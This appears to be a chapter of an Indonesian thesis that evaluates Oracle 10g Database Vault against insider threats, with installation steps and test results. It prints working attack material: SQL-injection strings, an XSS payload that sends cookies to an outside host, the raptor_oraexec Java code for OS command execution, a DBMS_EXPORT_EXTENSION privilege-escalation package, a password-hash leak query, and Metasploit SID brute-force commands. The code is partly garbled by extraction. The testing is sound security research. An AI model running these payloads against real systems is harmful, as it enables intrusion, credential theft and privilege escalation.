Fiturfitur Deskripsi Virtual Private Database Auditing PL/SQL Encryption Package Kegunaan Super User Privileges Improved finegrained auditing Dapat memperkecil kesalahan dalam audit atau audit yang yang sulit dengan menspesifikasi kondisi audit yang diinginkan. Tidak perlu mereset audit_trail menjadi fine-grained auditing hanya dengan menambah atau mengurangi FGA policies yang telah diset sebelumnya. Built_in mekanisme audit pada database mencegah user menjebol audit Database Administrator XML audit records Audit records dapat ditulis pada sistem operasi dengan xml file, dengan query view semua file dengan ekstensi .xml akan diparse dan keluar dalam bentuk tabel relasional Database Administrator Syslog Audit Record Penulisan audit record dengan syslog audit trail, dapat memperkecil akses DBA dalam mengakses atau merubah data audit Database Administrator Uniform Audit Trail Penambahan view DBA_COMMON_AUDIT_TRAIL yang membuat standard dan fine-grained audit log dalam satu view Database Administrator DBMS_CRYPTO dibuat untuk menggantikan DBMS_OBFUSCATION_TOOLKIT yang akan memberi kemudahan dalam penggunaan dan mendukung algoritma-algoritma pada sistem baru. DBMS_CRYPTO Contoh : Algoritma Enkripsi (AES, Triple DES, DES RC4), Algoritma Kriptographi (SHA-1), Keyed Hash (MAC), Form Padding (PKCS#5, zeroes), Blok cipher modifikator (CBC, CFB, ECB, OFB) Database Administrator Seperti terlihat pada tabel diatas untuk keamanan database pada oracle 10g telah memadai dengan banyaknya fitur-fitur baru untuk menjawab semua pernyataan diatas, namun terdapat kerentanan karena super user privileges tetap dimiliki oleh DBA, celah ini perlu diwaspadai. Sesuai dengan pernyataan dari ISACA (Information Systems Audit and Control Association) yaitu pemisahan hak dan kewenangan adalah merupakan alat 67 pengendali dasar untuk mencegah dan mendeteksi error dan kesalahan dengan menugaskan atau memberikan tanggung jawab untuk melakukan transaksi, merekam transaksi dan kewajiban menjaga aset ke pihak yang berbeda-beda, agar tidak ada satu orang yang melakukan ketidakjujuran atau perusakan tanpa bisa dideteksi. Oracle memiliki database vault yang memisahkan secara jelas kewenangan account management, kewenangan data security dan kewenangan data resource management. Dengan kata lain membatasi hak DBA dari super privilege user yang memiliki semua akses ke data menjadi beberapa database role agar tidak ada yang memiliki kekuasaan penuh atas data dan konfigurasi system Berikut adalah gambaran secara umum ruang lingkup dan kewenangan yang dimiliki oleh database user. Terlihat bahwa database administrator memiliki kewenangan paling besar dan luas atas semua data pada database. Gambar 3.1 Data dictionary views sebelum instalasi database vault [Referensi:Oracle 10g Database Vault White Paper, 2006] 68 Tabel 3.2 Privilege SYSDBA dan SYSOPER System Privillege SYSDBA SYSOPER Operations Authorized - Perform STARTUP and SHUTDOWN operations - ALTER DATABASE open, mount, back up or change character set - CREATE DATABASE - DROP DATABASE - CREATE SPFILE - ALTER DATABASE ARCHIVELOG - ALTER DATABASE RECOVER - Includes the RESTRICTED SESSION privilege Effectively this system privilege allows a user to connect as user SYS - Perform STARTUP and SHUTDOWN operations - CREATE SPFILE - ALTER DATABASE OPEN/MOUNT /BACKUP - ALTER DATABASE ARCHIVELOG - ALTER DATABASE RECOVER (Complete recovery only. Any form of incomplete recovery such as UNTIL TIME|CHANGE|CANCEL| CONTROLFILE requires connecting as SYSDBA) - Includes the RESTRICTED SESSION privilege This privilege allows a user to perform basic operational tasks, but without the ability to look at user data Tabel 3.3 Privilege yang berubah setelah instalasi database vault User or Role DBA role IMP_FULL_DATABASE role EXECUTE_CATALOG_ROLE role PUBLIC user Privilege That Is Revoked - Become USER - SELECT ANY TRANSACTION - CREATE ANY JOB - EXECUTE ANY PROGRAM - EXECUTE ANY CLASS - MANAGE SCHEDULER - DEQUEUE ANY QUEUE - ENQUEUE ANY QUEUE - MANAGE ANY QUEUE - BECOME USER - MANAGE ANY QUEUE - EXECUTE ON DBMS_LOGMNR - EXECUTE ON DBMS_LOGMNR_D - EXECUTE ON DBMS_LOGMNR_LOGREP_DICT - EXECUTE ON DBMS_LOGMNR_SESSION - EXECUTE ON DBMS_FILE_TRANSFER - EXECUTE ON UTL_FILE 69 Tabel 3.3 Privilege yang berubah setelah instalasi database vault (lanjutan) User or Role SCHEDULER_ADMIN role SYS user SYSTEM user Privilege That Is Revoked - CREATE ANY JOB - CRATE EXTERNAL JOB - EXECUTE ANY PROGRAM - EXECUTE ANY CLASS - MANAGE SCHEDULER - ALTER USER - DROP USER - ALTER USER - CREATE USER - DROP USER Tabel 3.4 Privilege database vault account manager role User or Role SYS user Privilege That Is Revoked - ALTER PROFILE - CREATE PROFILE - DROP PROFILE - ALTER PROFILE - CREATE PROFILE - DROP PROFILE SYSTEM user Pengamanan database dengan Database Vault - Untuk mengamankan akses ke database, aplikasi dan informasi yang sensitive dengan menggabungkan realms, factors and command rules. Realms akan memproteksi data dari akses melalui system privileges dan tidak memberikan privileges tambahan untuk owner atau participants. Autorisasi realms memiliki mekanisme run-time untuk memeriksa secara logical apakah user’s command diijinkan untuk mengakses objek yang tertera pada command dan meneruskan eksekusi. Jika ada user yang menjalankan statement yang mempengaruhi command rules maka database vault akan memeriksa autorisasi realms terlebih dulu, bila tidak ditemukan pelanggaran realms dan semua command rules yang berhubungan enabled, maka database 70 vault akan mengevaluasi rule sets yang berhubungan. Jika semua nilai semua rule sets adalah true maka statement diijinkan untuk proses selanjutnya. - Untuk mengatur kondisi dari command yang boleh diekseskusi di database dengan menggabungkan rules dan factor dan pengaturan akses data akan diatur oleh realms. Berikut adalah gambar dari alur kerja penggabungan command rule dan realm yang membatasi privilege yang dimiliki oleh user. Terlihat jika seorang user memiliki privilege GRANT untuk any privilege maka akan dicek terlebih dahulu apakah user tersebut diberikan akses yang sebelumnya telah di buat terlebih dahulu pada realm sehingga dapat mengakses data tertentu. Jika ada, maka selanjutnya akan dicek pada command rule dan jika semua nilai rule set benar maka user diijinkan melanjutkan proses. Gambar 3.2 Alur realm dan command rules membatasi privileges user [Referensi:Oracle 10g Database Vault White Paper] 71 3.2 Perancangan Arsitektur Sistem Keamanan dengan Database Vault Pada penulisan ini akan dibuat perancangan sistem yang menggunakan satu buah server yang telah terinstalasi dengan database oracle 10g dan database vault. Berikut gambaran perancangan sistem keamanan dengan konfigurasi satu buah server yang telah terinstalasi dengan oracle 10g dan ditambah dengan database vault. Setelah itu pembuatan HR realm untuk memproteksi data-data HR yang sensitive. Bagi user yang tidak memiliki hak atau akses maka akan langsung diberikan pemberitahuan. Server ini akan diakses oleh dua user. User pertama adalah seorang DBA dan user kedua adalah HR manager. Pada gambar, user DBA terhalang untuk mengakses data-data HR karena telah ada realm. Pembuktian hal ini akan ada pada bab selanjutnya. Server yang telah diinstalasi dengan Oracle 10g R2 + Database Vault X User HR Gambar 3.3 Arsitektur sistem keamanan dengan HR realm A. Spesifikasi Hardware Memory : 1 GB untuk instance dengan database control Ruang Disk : 1.5 GB untuk swap 72 400 MB untuk direktori /tmp 1.5 GB hingga 3.5 GB untuk software oracle 1.2 GB untuk pre-konfigurasi database 2.4 GB untuk flash recovery area B. Spesifikasi Software Oracle Database 10g Release 2 Edisi : Enterprise Edition Base Release : 10.2.0.1 Patch Installed : 10.2.0.4 3.3 Platform : Linux Red Hat Feature : Oracle Database Vault Instalasi Oracle 10g Release 2 Langkah-langkah : 1. Instalasi dan konfigurasi linux Sistem Operasi yang digunakan adalah Red Hat Enterprise 4. Pada tahap ini dilakukan instalasi paket-paket yang diperlukan untuk instalasi oracle. glibc-2.3.4-2.13 glibc-common-2.3.4-2.13 gcc-3.4.4-2 gcc-c++-3.4.4-2 libstdc++-3.4.4-2 libstdc++-devel-3.4.4-2 libaio-0.3.103-3 binutils-2.15.92.0.2-15 73 make-3.80-5 compat-db-4.1.25-9 gnome-libs-1.4.1.2.90-44.1 pdksh-5.2.14-30.3 sysstat-5.0.5-1 2. Pemeriksaan memory dan swap # grep MemTotal /proc/meminfo # grep SwapTotal /proc/meminfo Jika swap kurang dari 1 ghz # dd if=/def/zero of=tmpswap bs=1k count=700000 # chmod 600 tmpswap # mkswap tmpswap # swapon tmpswap Pemeriksaan kapasitas direktori /tmp # df /tmp 3. Konfigurasi linux untuk oracle Pada tahap ini dilakukan konfigurasi parameter kernel, melakukan setting shell limits, membuat user, group dan directory untuk oracle, profile untuk user oracle. a. Setting sistem parameter kernel Edit /etc/sysctl.conf dan tambahkan: kernel.shmall = 2097152 kernel.shmmax = 2147483648 kernel.shmmni = 4096 kernel.sem = 250 32000 100 fs.file-max = 65536 net.ipv4.ip_local_port_range = 1024 65000 net.core.rmem_default = 262144 net.core.rmem_max = 262144 net.core.wmem_default = 262144 128 74 net.core.wmem_max = 262144 Jalankan command sysctl –p untuk mengaktifkan setting diatas b. Setting shell limits Edit /etc/security/limits.conf dan tambahkan: oracle soft nproc 2047 oracle hard nproc 16384 oracle soft nofile 1024 oracle hard nofile 65536 Edit /etc/pam.d/login session required /lib/security/pam_limits.so session required pam_limits.so c. Membuat user, group dan directory untuk instalasi oracle # mkdir -p /u01/app/oracle # groupadd dba {memiliki hak akses SYSDBA} # groupadd oinstall {pemilik software} # useradd -c “Oracle Software Owner” -g oinstall -G dba oracle -d /u01/app/oracle Owner dan hak akses direktori # chown -R oracle:oinstall /u01/app/oracle # chmod -R 775 /u01/app/oracleProfile untuk oracle d. Login sebagai oracle user dan edit .bash_profile file # Oracle Settings TMP=/tmp; export TMP TMPDIR=$TMP; export TMPDIR ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1; export ORACLE_HOME ORACLE_SID=orcl; export ORACLE_SID ORACLE_TERM=xterm; export ORACLE_TERM PATH=/usr/sbin:$PATH; export PATH PATH=$ORACLE_HOME/bin:$PATH; export PATH 75 LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export LD_LIBRARY_PATH CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/ rdbms/jlib; export CLASSPATH if [ $USER = "oracle" ]; then if [ $SHELL = "/bin/ksh" ]; then ulimit -p 16384 ulimit -n 65536 else ulimit -u 16384 -n 65536 fi fi Setelah disimpan berikan perintah # source /etc/profile 4. Memulai OUI (Oracle Universal Installer) untuk memulai instalasi oracle 10g. Langkah-langkah instalasi dengan OUI secara lengkap dapat dilihat pada lampiran. 3.4 Upgrade Oracle 10g Release 2 (10.2.0.1.0) menjadi (10.2.0.4.0) Database vault dapat berjalan minimal pada platform oracle 10g release 2 (10.2.0.4.0) sehingga diperlukan upgrade oracle 10g dari yang telah diinstalasi 10.2.0.1.0 menjadi 10.2.0.4.0. Patch ini dapat di download pada http://metalink.oracle.com. Untuk instalasi patch ini dilakukan pada oracle home yang sama yaitu /u01/app/oracle/product/10.2.0/db_1. Langkah-langkah yang dilakukan pada saat instalasi sama dengan pada saat instalasi oracle 10g release 2 10.2.0.1.0 tanpa harus membuat directory atau oracle home baru. 76 3.5 Konfigurasi Listener Setelah instalasi oracle 10g dan patch telah dilakukan, maka selanjutnya mengkonfigurasi listener. Sesuai dengan arti nama dalam bahasa Indonesia, listener berfungsi untuk mendengar dalam hal ini koneksi user ke database. Listener melakukan query fungsi membuat proses server untuk tiap user atau untuk multi thread fungsi bagi banyak user. Instalasi secara lengkap dapat dilihat pada lampiran. 3.6 Membuat Database dengan Database Configuration Assistant (DBCA) Pembuatan database setelah patch instalasi oracle 10g menjadi 10.2.0.4.0 akan jauh lebih mudah dibanding database dibuat bersaaman instalasi oracle 10g 10.2.0.1.0 karena selain harus mengupgrade oracle juga harus mengupgrade database. Login sebagai user oracle dan ketik dbca, wizard pembuatan database akan muncul dan ikuti semua langkah instalasinya. Yang perlu diperhatikan adalah berhati-hati pada saat mengisi global database name karena akan terkoneksi dengan SID (spesifikasi nama instan dari oracle server dan harus unik), disarankan nama SID maksimum 4 (empat) karakter. Langkah-langkah instalasi secara lengkap dapat dilihat pada lampiran. 77 3.7 Konfigurasi Database Vault 3.7.1 Instalasi Database Vault Login sebagai user oracle 1. Sebelum memulai instalasi database vault, stop semua servis oracle - Stop Enterprise Manager Database Control $ emctl stop dbconsole - Stop the iSQL*Plus Proses $ isqlplusctl stop - Matikan semua database instance sqlplus „/as sysdba‟ sql>shutdown immediate - Stop listener $ lsnrctl stop 2. Instal database vault pada oracle home yang kita pilih lalu ikuti langkah-langkah instalasi yang diberikan. Lebih lengkap tentang instalasi database vault dapat dilihat pada lampiran. 3.7.2 Membuat Realm 1. Buka web browser dan ketik url yang telah diberikan sebelumnya untuk koneksi ke database vault https://maroeti:1158/dva Berikut adalah tampilan database vault berbasis web: 78 Gambar 3.4 Tampilan database vault Contoh : Login sebagai database vault owner Klik pada realms lalu create realm Name : HR Realm Description : This realm restricts DBA access to HR data. Status : Enabled Audit Options : Audit on Failure Lalu klik : Ok a. Pada layar realm summary Klik create realm secured objects Object Owner: HR Object Type: % Object Name: % b. Klik create realm authorization section Grantee: HR [USER] Authorization Type: Owner (Note: the default type is Participant) Authorization Rule Set: <non selected> Klik Ok 79 2. API begin dvsys.dbms_macadm.CREATE_REALM( realm_name => 'HR Realm' ,description => 'This realm protects HR data from DBA access' ,enabled => 'Y' ,audit_options => 1); end; / commit; begin dvsys.dbms_macadm.add_object_to_realm( realm_name => 'HR Realm' ,object_owner => 'HR' ,object_name => '%' ,object_type => '%'); end; / commit; begin dvsys.dbms_macadm.ADD_AUTH_TO_REALM( realm_name => 'HR Realm' ,grantee => 'HR'); end; / commit; 80 3.8 Ancaman-ancaman dari dalam (insider threat) Seperti yang telah dijelaskan diatas, bahwa ancaman terbesar untuk keamanan data suatu perusahaan/organisasi justru dari pihak dalam karena sering tidak terdeteksi atau luput dari perhatian Berikut beberapa kemungkinan yang dapat menggangu keamanan database: 1. Database administrator Dengan super privilege yang dimiliki DBA dapat mengancam integritas keamanan dari data-data yang dimiliki. 2. Usaha merubah sementara password account yang berwenang untuk memberikan privellege (GRANT) pada user tertentu. 3. SQL Injection dan freeware yang banyak terdapat di internet untuk mengeksploitasi database. 3.9 Skenario-skenario yang mungkin terjadi Untuk lebih mengetahui tentang kemampuan dari oracle 10g release 2 dan database vault yang telah dijelaskan sebelumnya maka akan dilakukan beberapa analisa mengenai kemungkinan dari ilegal akses atau perusakan dan eksploitasi dari pihak dalam. Berikut adalah beberapa skenario yang mungkin terjadi 1. Seorang DBA yang iseng ingin mencoba mengganti angka dari gaji dengan mengakses tabel gaji pada server HR. 81 2. Seorang user mencoba melakukan akses ilegal pada database dengan melakukan injeksi perintah sql karena pengaturan oracle 10g dan database vault berbasis web. Akses ilegal dilakukan melalui koneksi dalam satu jaringan. 3. Seorang user mencoba menggunakan program eksploitasi yang banyak di internet untuk merusak database. Penggunaan freeware agar tidak bisa dilacak siapa yang telah melakukan akses ilegal. 4. Proses audit secara berkala yang dilakukan database owner untuk pelaporan. BAB IV IMPLEMENTASI DAN PENGUJIAN Berdasarkan skenario-skenario yang telah dibuat pada bab sebelumnya, maka akan dilakukan pengujian untuk membuktikan keamanan yang dimiliki oracle 10g dan database vault. 4.1 Proteksi dari Database Administrator Seperti yang telah dijelaskan pada bab 3 bahwa salah satu keunggulan dari database vault adalah membatasi privellege dari database administrator (DBA) dan kemungkinan sebagai insider threat maka berikut hasil pengujiannnya: 1. Sebelum instalasi database vault, seorang DBA dapat mengakses data HR [oracle@maroeti ~]$ sqlplus '/as sysdba' SQL*Plus: Release 10.2.0.4.0 - Production on Sat Jun 13 07:06:53 2009 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Connected to an idle instance. SQL> startup ORACLE instance started. Total System Global Area Fixed Size 285212672 bytes 1267068 bytes Variable Size 113248900 bytes Database Buffers 167772160 bytes Redo Buffers 2924544 bytes Database mounted. Database opened. 82 83 SQL> select first_name, last_name, salary from hr.employees 2 ; FIRST_NAME -------------------Donald Douglas Jennifer Michael Pat Susan Hermann Shelley William Steven Neena LAST_NAME SALARY ------------------------- ---------OConnell 2600 Grant 2600 Whalen 4400 Hartstein 13000 Fay 6000 Mavris 6500 Baer 10000 Higgins 12000 Gietz 8300 King 24000 Kochhar 17000 Seperti terlihat diatas seorang DBA dapat mengakses data gaji pada tabel HR dan dengan mudahnya DBA dapat menggunakan perintah ALTER dan mengganti angka-angka gaji tersebut dan bahkan merusak data-data penting yang lain. 2. Lalu diadakan percobaan dengan instalasi database vault dan pembuatan HR realm pada database. DBA mengulangi perintah sql seperti pada percobaan sebelumnya dan hasilnya adalah pemberitahuan “insufficient privileges” dan DBA tidak bisa mengakses tabel HR SQL> select first_name, last_name, salary from hr.employees 2 ; ERROR at line : 1 ORA-01031 : insufficient privileges Dengan ini terbukti dengan database vault seorang database administrator yang sebelumnya memiliki super privilege kini telah berubah privellege menjadi user biasa dan tidak bisa mengakses data-data pada tabel yang dilindungi realm. 84 4.2 Alter password database vault account manager Bila database administrator tidak memiliki super privileges lagi setelah instalasi database vault, bagaimana jika merubah password database vault account manager sementara untuk memberi privilege pada user tertentu agar dapat mengakses database yang telah diproteksi dengan realm. 1. Buka web browser dan ketik url yang telah diberikan sebelumnya untuk koneksi ke isqlplus atau juga dapat melalui sqlplus yang berbasis text. https://maroeti:5560/isqlplus 2. Show oracle password hash key, dengan mengetik SQL statements SELECT username, password FROM DBA_USERS; atau SELECT name,password FROM SYS.USER$ WHERE password is not null; Gambar 4.1 Isqlplus menunjukkan username dan password Seperti terlihat diatas seorang database administrator dan login sebagai system tetap bisa melihat semua password user 85 Rubah password database vault account manager untuk sementara dan memberikan GRANT untuk user tertentu select username,password from dba_users where username='DVM'; alter user DVM identified by mypassword; Dan hasilnya akan muncul pemberitahuan: “insufficient privileges” Yang menerangkan bahwa user yang bersangkutan tidak memiliki privilege yang diminta untuk ALTER password user tertentu Berikut ini adalah gambar dari perintah SQL untuk ALTER: Gambar 4.2 Layar isqlplus menunjukkan tidak ada privilege Teruji dengan adanya database vault seorang database administrator tidak bisa merubah password database vault account manager walaupun dapat melihat semua password database user yang terenkripsi. Namun hal ini juga bisa menjadi kendala berikutnya karena baik melalui isqlplus dan sqlplus „/as sysdba‟ user dapat mencari dekripsi dari password enkripsi yang terlihat. Dengan mengetahui format password yang digunakan oleh oracle 10g maka akan lebih mudah lagi untuk mencari tool program dekripsi password yang 86 banyak tersebar di internet. Namun karena keterbatasan waktu maka penulis tidak melakukan percobaan untuk mendekripsi password-password database user tersebut. Berdasarkan percobaan 4.1 dan 4.2 dapat diambil kesimpulan bahwa dengan ditambahkannya fitur database vault pada database oracle 10g dapat membatasi privilege DBA dan pembagian role sesuai dengan fungsi dari user. Sehingga keamanan data lebih dapat terjamin dan sesuai dengan peraturan Sarbanes-Oxley tentag integritas data. Akan tetapi database vault masih memiliki kelemahan dengan diketahuinya enkripsi password-password sehingga hal ini perlu jadi perhatian lebih lanjut bagi pihak oracle. 4.3 SQL Injection Sql injection adalah penyisipan pada statemen sql yang umumnya digunakan para hacker untuk meretas web aplikasi. Pada web aplikasi seperti mail.yahoo.com terdapat layar untuk memasukkan nama dan password. Pada saat kita memasukkan nama dan password dibagian url akan terlihat username=‟ „ dan password=‟ „, dibelakang dari isi username ditambahkan “or 1= 1--“ begitu juga pada password. Umumnya sql injection yang umum diketahui adalah code injection. Penulis akan mencoba meretas langsung ke server database oracle dengan sql injection, namun tidak melalui web aplikasi dan penggunaan oracle sebagai back end database yang terlindungi oleh firewall dan aplikasi-aplikasi intrusion detection system dikarenakan keterbatasan waktu dan keluar dari topik permasalahan. 87 a. Code Injection Melakukan test autentifikasi apakah halaman web rentan atau tidak. Dengan memasukkan statemen pada box user name dan password atau pada halaman url itu sendiri. SELECT id FROM users WHERE name='\' OR 1=1 ' AND pass='\' OR 1=1 LIMIT 1'; Mencoba semua kemungkinan yang ada: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a „ or 1=func -„ AND 1=func – Untuk membuka halaman web pengatur database oracle maka pada kita tuliskan alamat url https://maroeti:1158/em pada web browser. Pada kolom login, kita masukkan nama sembarang ditambah dengan kodekode injeksi diatas, begitu juga dengan kolom password. Kita masukkan password sembarang ditambah dengan kode-kode injeksi diatas. Maka hasilnya adalah seperti gambar dibawah. 88 Gambar 4.3 Hasil dengan code injection pada oracle Terlihat dari hasil gambar diatas bahwa muncul error dan pemberitahuan bahwa yang dapat login adalah sysdba atau sysoper. Jadi terbukti bahwa code injection tidak dapat digunakan untuk masuk ke server database oracle. Selain itu penulis juga mencoba menggabungkan sql command untuk mengetahui nama host dengan command untuk menampilkan password dari dba_users SQL> select utl_inaddr.get_host_name((select username||'='|| password from dba_users where rownum=1)) from dual; Error at line 1: ORA-29257: host SYS=D4DF7931AB130E37 unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 89 Dan hasilnya adalah dengan terlihatnya user name SYS dengan password yang terenkripsi. Seperti pada percobaan sebelumnya, yang dibutuhkan adalah tool untuk mendekripsi password tersebut. Disimpulkan bahwa code injection tidak dapat digunakan untuk akses ke server database oracle secara langsung, mungkin beda hasilnya jika injeksi pada web aplikasi dan oracle sebagai back end database. b. Cross Site Scripting (XSS) Merupakan salah satu jenis serangan web dengan memanfaatkan metode http get/http post. Cross site scripting dapat diartikan sebagai kelemahan yang terjadi akibat ketidakmampuan server dalam memvalidasi input yang diberikan oleh pengguna dan serangan dilakukan dengan cara memasukkan naskah program (biasanya java script) sebagai bagian dari teks masukan melalui form yang tersedia. Contoh java script yang sering digunakan: ASCII Usage: http://host/a.php?variable="><script>document.location='http://ww w.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> Hex Usage: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74 %3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f% Pada saat kita memasukkan url: https://maroeti:5560/isqlplus maka 90 akan tampil jendela login seperti dibawah ini dan hanya dba_users yang dapat mengakesnya jadi jika tidak berwenang akan muncul error. Gambar 4.4 Logon form pada isqlplus Penulis mencoba meretas isqlplus dengan mengetik skrip berikut ini pada halaman login. https://maroeti/isqlplus?action=logon&username=dummy%22%3e% 3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript %3ealert('CSS')%3c/script%3e Dan hasilnya adalah pemberitahuan tentang kegagalan koneksi dengan server database oracle. 91 Gambar 4.4 Hasil injeksi xss pada isqlplus Terbukti dari hasil gambar diatas, cross site scripting tidak berhasil untuk meretas isqlplus oracle 10g. c. Java exploitation Cara lain untuk dapat mengakses file sistem di oracle selain tanpa menggunakan privilege CONNECT dan RESOURCES role (membutuhkan privilege khusus) yaitu dengan eksploitasi java pada utl_file package oracle. Dengan cara lain ini kita dapat menulis dan membaca file-file OS dengan privilege RDBMS user. Penulis mencoba mengeksploitasi utl_file oracle dengan menggunakan command sql raptor_oraexec.sql. Oracle RDBMS dapat dianggap sebagai shell seperti bash atau windows command prompt, tidak hanya untuk menyimpan data tapi juga untuk melengkapi akses sistem file dan perintah sistem operasi. SQL> create or replace and resolve java source named "oraexec" as import java.lang.*; 92 import java.io.*; public class oraexec { Command execution module public static void execCommand(String command) throws filename) throws IOException { Runtime.getRuntime().exec(command); } File reading module public static void readFile(String IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while (text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } File writing module public static void writeFile(String filename, String line) throws IOException { FileWriter f = new FileWriter(filename, append */ BufferedWriter fw = new BufferedWriter(f); fw.write(line); fw.write("\n"); true); /* 93 fw.close(); } } / SQL> Java created. usage: exec javacmd('command'); SQL> create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; / SQL> Procedure created. usage: exec dbms_java.set_output(2000); set serveroutput on; exec javareadfile('/path/to/file'); SQL> create or replace procedure javareadfile(p_filename in varchar2) as language java name 'oraexec.readFile(java.lang.String)'; / Procedure created. usage: exec javawritefile('/path/to/file', 'line to append'); SQL> create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as language java name 'oraexec.writeFile(java.lang.String, java.lang.String)'; / Procedure created. 94 Lalu di lakukan test SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa'); PL/SQL procedure successfully completed. SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb'); PL/SQL procedure successfully completed. SQL> exec dbms_java.set_output(2000); PL/SQL procedure successfully completed. SQL> set serveroutput on; SQL> exec javareadfile('/tmp/mytest'); /bin/ls -l > /tmp/aaa /bin/ls -l / > /tmp/bbb PL/SQL procedure successfully completed. SQL> exec javacmd('/bin/sh /tmp/mytest'); PL/SQL procedure successfully completed. SQL> !sh sh-3.2$ ls -rw-r--r--rw-r--r--rw-r--r-- -rtl /tmp/ 1 oracle oinstall 1 oracle oinstall 1 oracle oinstall 46 Aug 1517 Aug 505 Aug 9 06:20 mytest 9 06:21 bbb 9 06:21 aaa Berdasarkan percobaan diatas dapat terlihat bahwa dengan mengeksploitasi java pada oracle dengan raptor_exec.sql, penulis dapat menuliskan perintah sistem operasi pada folder oinstall oracle. Folder oinstall adalah folder yang terbentuk pada saat instalasi awal oracle dan digunakan sebagai acuan untuk instalasi-instalasi berikutnya. Dengan eksploitasi pada perintah pada sistem operasi tidak tertutup kemungkinan jenis perintah yang dibuat selanjutnya 95 antara lain shutdown, restart dapat mengganggu dan merusak database. d. Eksploitasi DBMS_EXPORT_EXTENTION Paket dbms_export_extention diperlukan untuk melakukan export file pada database oracle. Isu rentannya fungsi get_domain_index_metadata pada dbms_export_extention yang dapat membuat user dengan akses database merubah privilegenya menjadi seorang DBA menjadi hal yang perlu diwaspadai. Berdasarkan data dari oracle sendiri, produk yang pernah terinfeksi adalah oracle dengan versi 10.1.0 kebawah. Penulis ingin mencoba mengeksploitasi dbms_export_extention pada oracle 10g release 2 yang telah di instalasi dengan fitur tambahan database vault. Membuat paket dan injeksi fungsi, fungsi dengan user SYS CREATE OR REPLACE PACKAGE MYBADPACKAGE AUTHID CURRENT_USER IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER; END; / CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER akan dijalankan 96 IS pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO HACKER'; COMMIT; RETURN(1); END; END; / Sisipkan fungsi ini pada dbms_export_extension DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER'; TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER'; VERSION := '10.2.0.4.0'; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA( INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME => TYPE_NAME, 97 TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK, GMFLAGS => GMFLAGS ); END; / Berikut adalah gambar dari hasil exploitasi dbms_export_extention Gambar 4.6 Hasil exploitasi dbms_export_extension Seperti terlihat pada gambar diatas bahwa ada pelanggaran pada realm DVSYS.AUTHORIZE_EVENT walaupun sql command tersebut di jalankan dengan user SYS dan injeksi prosedur gagal. Dengan ini terbukti bahwa oracle 10g ditambah dengan database vault mampu menahan serangan exploitasi dbms_export_extention. Hal ini pun tampak pada laporan database vault untuk pelanggaran pada realm. Berikut adalah bentuk laporan yang diberikan database vault atas pelanggaran pada realm. 98 Gambar 4.7 Hasil laporan pada database vault 4.4 Eksploitasi oracle dengan suatu program Begitu banyak program freeware di internet mengenai web hacking, exploitasi program membuat penulis juga ingin mencoba pada oracle 10g 1. Metasploit Framework 3.2 Metasploit adalah freeware program yang dibuat oleh peneliti independen yang bekerja di industri pengamanan. Metasploit merupakan antar muka untuk exploitasi dan digunakan bagi para developer untuk menguji sistem keamanan yang dimiliki. Metasploit berjalan diatas berbagai macam OS hingga iphone. Penulis ingin mencoba melakukan exploitasi di beberapa bagian penting dari oracle 10g yaitu SID dan listener. Seperti yang telah dijelaskan pada bab sebelumnya SID berfungsi sebagai identifikasi suatu database pada sistem, SID bersifat unik sehingga bila memiliki lebih dari satu 99 database tidak boleh memiliki SID yang sama. Sedangkan listener sesuai dengan namanya berfungsi untuk mendengar, merupakan proxy yang mengatur lalu lintas jaringan antara database dengan client. a. Mengetahui SID oracle msf > use auxiliary/admin/oracle/sid_brute msf auxiliary(sid_brute) > set RHOST 192.168.1.10. RHOST => 192.168.1.10. msf auxiliary(sid_brute) > run [*] Starting brute force on 192.168.1.10., using sids from /root/metasploit/data/wordlists/sid.txt... [*] Found SID 'PLSExtProc' for host 192.168.1.10. [*] Found SID 'ORCL' for host 192.168.1.10. [*] Done with brute force... [*] Auxiliary module execution completed Berdasarkan hasil diatas maka dengan mudah metasploit mengetahui SID oracle dari database yang ada. Hal ini perlu diwaspadai karena SID bisa saja dirubah sehingga database bisa hang. Berikutnya penulis ingin mencoba untuk mengganti SID yang telah diketahui. Enumerasi SID msf > use auxiliary/scanner/oracle/sid_enum msf auxiliary(sid_enum) > set RHOSTS 192.168.1.10 RHOSTS => 192.168.1.10 msf auxiliary(sid_enum) > run [-] TNS listener protected for 192.168.1.10... [*] Auxiliary module execution completed 100 Terlihat 